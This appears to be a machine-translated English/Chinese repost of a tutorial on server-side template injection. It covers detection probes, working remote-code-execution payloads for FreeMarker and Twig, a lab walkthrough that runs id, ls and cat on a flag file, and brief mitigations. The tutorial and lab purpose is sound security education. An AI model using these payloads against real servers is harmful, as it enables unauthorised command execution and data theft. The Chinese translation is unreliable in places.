利用服务器端模板注入

本文详细介绍了服务器端模板注入(SSTI)的概念,解释了其成因,通过示例展示了如何利用不安全的模板引擎执行恶意命令。讨论了PHP、Java和Python中常见的模板引擎,如Freemarker和Twig,并提供了检测和利用模板注入的示例。最后,提出了缓解SSTI风险的措施,包括用户输入的净化和验证,以及限制服务器命令执行。
摘要由CSDN通过智能技术生成

Server Side Template Injection: To present data dynamically from emails or webpages we use templates and unsafely use of it leads to server exploits like RCE and many more.

服务器端模板注入:为了从电子邮件或网页中动态显示数据,我们使用模板,并且不安全地使用它会导致服务器漏洞利用,例如RCE等。

So when user controlled input is embedded directly into template, it may cause of SSTI. This may occurs as developer want to offer rich functionality.

因此,当用户控制的输入直接嵌入到模板中时,可能会导致SSTI。 当开发人员想要提供丰富的功能时,可能会发生这种情况。

Example: There is application that has functionality where users can send emails to their customer and the content of the email can be modified by the user. So if developer is using templates such as freemarker or twig for rich email experience and directly passing the inputs from the user for processing and sending the email. Attacker can inject malicious inputs in order to run the commands on the server.

示例:存在具有功能的应用程序,用户可以在其中向用户发送电子邮件,并且用户可以修改电子邮件的内容。 因此,如果开发人员正在使用诸如freemarker或twig之类的模板来获得丰富的电子邮件体验,并直接传递用户输入来处理和发送电子邮件。 攻击者可以注入恶意输入,以便在服务器上运行命令。

Working:

加工:

· User enter the malicious input in the application which is using templates.

·用户在使用模板的应用程序中输入恶意输入。

· Application transfers the malicious inputs without validating to the template engine

·应用程序在不验证模板引擎的情况下传输恶意输入

· Template engine processes invalidated input which may cause code execution on the server.

·模板引擎处理无效的输入,这可能导致服务器上的代码执行。

Detect: To test for template engine we can try some simple payloads if they gets evaluated then the application is vulnerable to template injection.

检测:要测试模板引擎,我们可以尝试一些简单的有效负载(如果经过评估),则应用程序容易受到模板注入的攻击。

Different language has different type of template.

不同的语言具有不同类型的模板。

PHP: Twig, smarty , VlibTemplate

PHP的 :树枝,聪明,VlibTemplate的

Java: Velocity, WebMacros, FreeMarker

Java :速度,WebMacros,FreeMarker

Python: Jinja2, Django, Mako

Python :Jinja2,Django,Mako

JavaScript: Jade, Rage

JavaScript的 :玉,愤怒

Out of these, here we are going to discuss two popular type of template and how to detect injection in them:

在这些当中,我们将讨论两种流行的模板类型以及如何检测其中的注入:

· Freemarker: In case of freemarker if we supply {{5*5}} in the input field and the output is 25 then its vulnerable to template injection as it is evaluating the supplied inputs.

· Freemarker:在使用freemarker的情况下,如果我们在输入字段中提供{{5 * 5}},并且输出为25,则在评估提供的输入时,它容易受到模板注入的影响。

How to exploit: After identifying template type and whether injections occurs or not we can use below payload to exploit the template.

如何利用:确定模板类型以及是否发生注入后,我们可以使用下面的有效负载来利用模板。

<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“command_here “) }

<#assign ex =” freemarker.template.utility.Execute”?new()> $ {ex(“ command_here “)}}

· Twig: In case of Twig if we supply {{5*5}} output and application reflects the output as 55555 then it is vulnerable to template injection.

· Twig:Twig的情况下,如果我们提供{{5 * 5}}输出,并且应用程序将输出反映为55555,则很容易注入模板。

How to exploit: After identifying template type and whether injection occurs or not, we can use below payload to exploit the template.

如何利用:在确定模板类型以及是否发生注入之后,我们可以使用下面的有效负载来利用模板。

{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“(command here)”)}}

{{_self.env.registerUndefinedFilterCallback(“ exec”)}}} {{__ self.env.getFilter(“( command here )”)}}}

Exploitation: we have an application which has template injection Our aim is to find which type of template is being used and then we have to retrieve SECRET_FLAG.txt file.

漏洞利用:我们有一个带有模板注入的应用程序。我们的目的是找到正在使用的模板类型,然后我们必须检索SECRET_FLAG.txt文件。

Upon opening the application we have an webpage which asks for our nickname and then reflects the name in the output.

打开应用程序后,我们会出现一个网页,询问您的昵称,然后在输出中反映该名称。

Image for post

So in order to check whether there is template injection or not we will try some of the template injections payload here.

因此,为了检查是否存在模板注入,我们将在此处尝试一些模板注入有效负载。

I entered #{2*2} in input field.

我在输入字段中输入了#{2 * 2}。

Image for post

You can see that I got 4 in output so it confirms that application is evaluating the input and this is the sign that it is vulnerable to template injection . As I got 4 so freemarker template is being used.

您可以看到我的输出为4,因此它确认应用程序正在评估输入,这表明它容易受到模板注入的影响。 当我得到4时,正在使用freemarker模板。

Now we have to try freemarker template injection exploit payload to get access.

现在,我们必须尝试使用​​freemarker模板注入漏洞利用有效负载来获取访问权限。

Now to execute the command we will use payload discussed in FreeMarker section.

现在执行命令,我们将使用FreeMarker部分中讨论的有效负载。

<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“command_here “) }

<#assign ex =” freemarker.template.utility.Execute”?new()> $ {ex(“ command_here”)}

After entering this payload in our input field we can check which type of user privileges assigned.

在我们的输入字段中输入此有效负载后,我们可以检查分配的用户特权类型。

Image for post

The command prints all the users groups and ids assigned to it.

该命令将显示分配给它的所有用户组和ID。

Now in order to extract the file we have to check what type of files exists in the folder i.e I want to list the content of this directory. So, I used “ls” command in command field.

现在,为了提取文件,我们必须检查文件夹中存在什么类型的文件,即我想列出该目录的内容。 因此,我在命令字段中使用了“ ls”命令。

Now updated payload:

现在更新了有效负载:

<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“ls”) }

<#assign ex =” freemarker.template.utility.Execute”?new()> $ {ex(“ ls”)}

After inserting this payload in input field, I got list of all files present in this directory.

在输入字段中插入此有效负载后,我得到了此目录中存在的所有文件的列表。

Image for post

Now we can see that SECRET_FLAG.txt exist in this directory.

现在我们可以看到该目录中存在SECRET_FLAG.txt。

We will read the SECRET_FLAG file using the cat command.

我们将使用cat命令读取SECRET_FLAG文件。

<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“ cat SECRET_FLAG.txt “) }

<#assign ex =” freemarker.template.utility.Execute”?new()> $ {ex(“ cat SECRET_FLAG.txt“)}

After using the above command I got the contents of file as output.

使用上面的命令后,我得到文件的内容作为输出。

Mitigations:

缓解措施:

· Sanitization and proper validation of user input.

·消毒和正确验证用户输入。

· If user inputs are being used then we have to use them in the sandbox or have to blacklist commands on the server so they never gets executed if users supplies them.

·如果使用了用户输入,那么我们必须在沙箱中使用它们,或者必须将服务器上的命令列入黑名单,这样,如果用户提供了它们,它们就永远不会执行。

· You can also change the permission of the directories.

·您还可以更改目录的权限。

翻译自: https://medium.com/@gupta.bless/exploiting-server-side-template-injection-96d538e38539

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值